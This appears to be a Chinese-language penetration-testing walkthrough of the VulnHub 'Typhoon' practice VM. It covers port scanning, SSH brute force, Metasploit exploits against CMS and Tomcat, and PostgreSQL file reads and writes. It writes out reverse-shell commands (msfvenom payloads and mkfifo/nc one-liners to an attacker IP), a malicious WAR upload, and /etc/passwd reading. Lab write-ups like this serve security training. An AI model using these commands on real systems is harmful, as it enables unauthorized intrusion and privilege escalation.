• kali渗透综合靶机(九)--Typhoon靶机


    kali渗透综合靶机(九)--Typhoon靶机

    靶机下载地址:https://www.vulnhub.com/entry/typhoon-102,267/

    一、主机发现

    1.netdiscover -i eth0 -r 192.168.10.0/24,进过分析,确定192.168.10.162是目标靶机

      

    二、端口扫描

    1. masscan --rate=10000 -p0-65535 192.168.10.162

      

    三、端口服务识别

    1. nmap -sV -T4 -O -p 110,139,631,21,46818,56669,143,53,5432,60954,8080,27017,22,25,3306,445,54180,995,6379,111,2049,37214,80,993 192.168.10.162

      

    或nmap -sV -p- -A 192.168.10.162

      

      

      

    四、漏洞查找与利用

    21端口(ftp)

    nmap扫描可以匿名访问

      

    浏览器访问,发现什么都没有

      

    22端口(ssh)

    发现ssh的版本是OpenSSH 6.6.1p1,存在用户名枚举漏洞,使用msf中的ssh枚举脚本(auxiliary/scanner/ssh/ssh_enumusers)

    使用cewl收集页面可能是用户的信息,并添加几个常用的用户名,制作一个用户名字典

      

    使用枚举用户脚本枚举用户

    python 40136.py 192.168.10.162 -U user.txt

    枚举出来用户名为vulnerablevm,www,admin,root,admin123

      

    使用hydra破解密码

    hydra -l admin -P /root/rockyou.txt ssh://192.168.10.162 -t 6,下图成功破解admin账户的密码metallica

      

    尝试用admin账户ssh登录目标,登录成功

      

    开始提权,提权方式与下面的提权方式一样

    25端口(smtp) 

    发现开放25端口,版本为Postfix smtpd

    使用smtp-user-enum 枚举用户名

    smtp-user-enum -M VRFY -U user.txt -t 192.168.10.162,枚举出用户名admin

      

    53端口(DNS  ISC BIND9.9.5-3)

    查看是否存在漏洞,发现dns版本存在拒绝服务漏洞

      

    80端口(http Apache httpd 2.4.7)

    1.扫描网站后台目录

      

    1.1发现http://192.168.10.162/cms,尝试弱口令,失败

      

    1.2漏洞库查找是否有对应的漏洞

      

    1.3在kali中打开msfconsole,并使用了以下exp

      

    1.4成功获得shell

      

    1.5然后就是提权,提权方式有配置不当提权和内核提权

    Drupal cms

    2.1发现192.168.10.162/drupal/

      

    2.2漏洞库查找是否有对应的漏洞

      

    2.3在kali中打开msfconsole,并使用了以下exp

      

    2.4设置参数

      

    2.5开始攻击,成功获得shell

      

    2.6接下开便是提权了,提权方式和之前的一样

    1.3发现http://192.168.10.162/mongoadmin/

      

      

    1.3.1发现是mondo的web管理页面,点击change database,出现如下

      

    1.3.2点击creds,发现账户密码

      

    1.3.3尝试用ssh登录,成功登陆

      

    1.3.4查看系统版本以及内核版本

      

    1.3.5在kali查看是否有对应的漏洞

      

    1.3.6下载、编译、提权

      

    1.3.7利用sudo提权,前提是已经获得当前普通用户的密码,并且当前用户属于sudo组,下图成功获得管理员权限

      

    445端口

    发现目标开放了445端口,使用enum4linux枚举目标共享信息

      

    发现允许空账户、空密码登录,共享文件typhoon

      

    远程挂载

    mount -t cifs -o username='',password='' //192.168.10.162/typhoon /mnt 

      

    8080(http Apache Tomcat/Coyote JSP engine 1.1)

    发现开放了8080,浏览器访问http://192.168.10.162:8080

      

    dirb扫描http://192.168.10.162:8080

      

    发现http://192.168.10.162:8080/manager/,提示需要输入密码

    使用msf auxiliary/scanner/http/tomcat_mgr_login 破解tomcat用户名密码

      

    成功获得tomcat用户名密码

      

    使用获得的用户名登录,发现tomcat 的版本是Version 7.0.52

      

    使用metasploit的一个模块tomcat_mgr_upload来尝试进行登录,利用成功,获得meterpreter会话

      

      

    输入shell,发现当前shell不是交互式的shell,重新打开一个交互式的shell

    python -c 'import pty;pty.spawn("/bin/bash")'

      

    开始提权

    1.1查看内核版本以及系统版本

      

    1.2利用系统版本的漏洞,进行本地提权

      

    2.利用配置不当进行提权

      

    2.2 我们需要使用Msfvenom创建一个bash代码

     msfvenom -p cmd/unix/reverse_netcat lhost=192.168.10.151 lport=9999 R

    2.3之后将上面生成的恶意代码在目标靶机系统中添加到script.sh文件

    echo "mkfifo /tmp/ruoljay; nc 192.168.10.151 9999 0</tmp/ ruoljay | /bin/sh >/tmp/ ruoljay 2>&1; rm /tmp/ ruoljay " > script.sh

      

    2.4在攻击端开启监听,目标端执行脚本,下图可以看到直接获得管理员权限

      

    3.1用低权限用户将构造的命令写入script.sh,令文件调用以root身份运行的/bin/sh,然后反弹shell,就可以获得root权限了

    Echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 8888 >/tmp/f;”>script.sh

       

    3.2在kali攻击端监听,获得管理员权限

      

    Tomcat的后台管理获取shell

    http://192.168.10.162:8080/manager/html

    1.msfvenom来生WAR文件

    msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.10.151 lport=5555 -f war -o evil.war

      

    2.使用7z l evil.war 查看evulll.war具体内容

      

    3.上传evil.war文件

      

    4.攻击端监听,浏览器访问上传的恶意Web应用程序

    http://192.168.10.162:8080/evil/wjsdgaavcuyf.jsp

      

    5.这次攻击端获得反弹shell

      

    6.接下来便是提权,方式和之前的一样。

    5432(PostgreSQL)

    1.使用auxiliary/scanner/postgres/postgres_login,尝试爆破PostgreSQL数据库用户名密码

      

    2.成功爆破出来PostgreSQL用户名以及密码

      

    3.登录数据库

    psql -h 192.168.10.162 -U postgres

      

    4.列下目录

      

    5. 读取权限允许的文件

    select pg_read_file('postgresql.conf',0,1000);

      

    6.建表,并使用copy从文件写入数据到表

    DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM '/etc/passwd';select * from MrLee limit 1 offset 0;

    成功读取到了/etc/passwd第一行

      

    7.直接读出所有数据

    SELECT * FROM MrLee;

      

    8.利用数据库写文件

    INSERT INTO MrLee(t) VALUES('hello,MrLee');

    COPY MrLee(t) TO '/tmp/MrLee';

      

    SELECT * FROM MrLee;

    显示里面有一句hello,MrLee,成功写入文件,并成功读取到源内容

      

    9.写入木马

    9.1创建OID,清空内容

    SELECT lo_create(9999);

    delete from pg_largeobject where loid=9999;

    //创建OID,清空内容

      

    9.2接下来就是写入木马了,使用hex

      

    insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode('.....', 'hex'));

      

    10.菜刀连接

      

    11.接下来就是提权了

     

    总结:

    1.信息收集、目录扫描、漏洞分析与利用

    2.getshell方法

      1.ssh爆破

      2.lotus cms漏洞利用

      3.Drupal cms漏洞利用

      4.mongoadmin 数据库管理web页面查看用户名、密码

      5.tomcat tomcat_mgr_upload漏洞

      6.PostgreSQL未授权访问 

    3.提权方法

      1.sudo提权

      2.内核版本提权

      3.利用配置不当进行提权

      

      

  • 相关阅读:
    Retrieve Excel Workbook Sheet Names
    总股本和流通股本
    Net序列化与数据压缩类
    HTTP Compression 速用方法
    市净率
    兼容FF,IE,Chrome的js离开或刷新页面检测
    【转】不能执行已释放的Script 代码
    三款在线css3样式生成工具
    不固定个数的子元素自适应居中
    收集几个浏览器好用插件工具
  • 原文地址:https://www.cnblogs.com/yuzly/p/10835932.html
Copyright © 2020-2023  润新知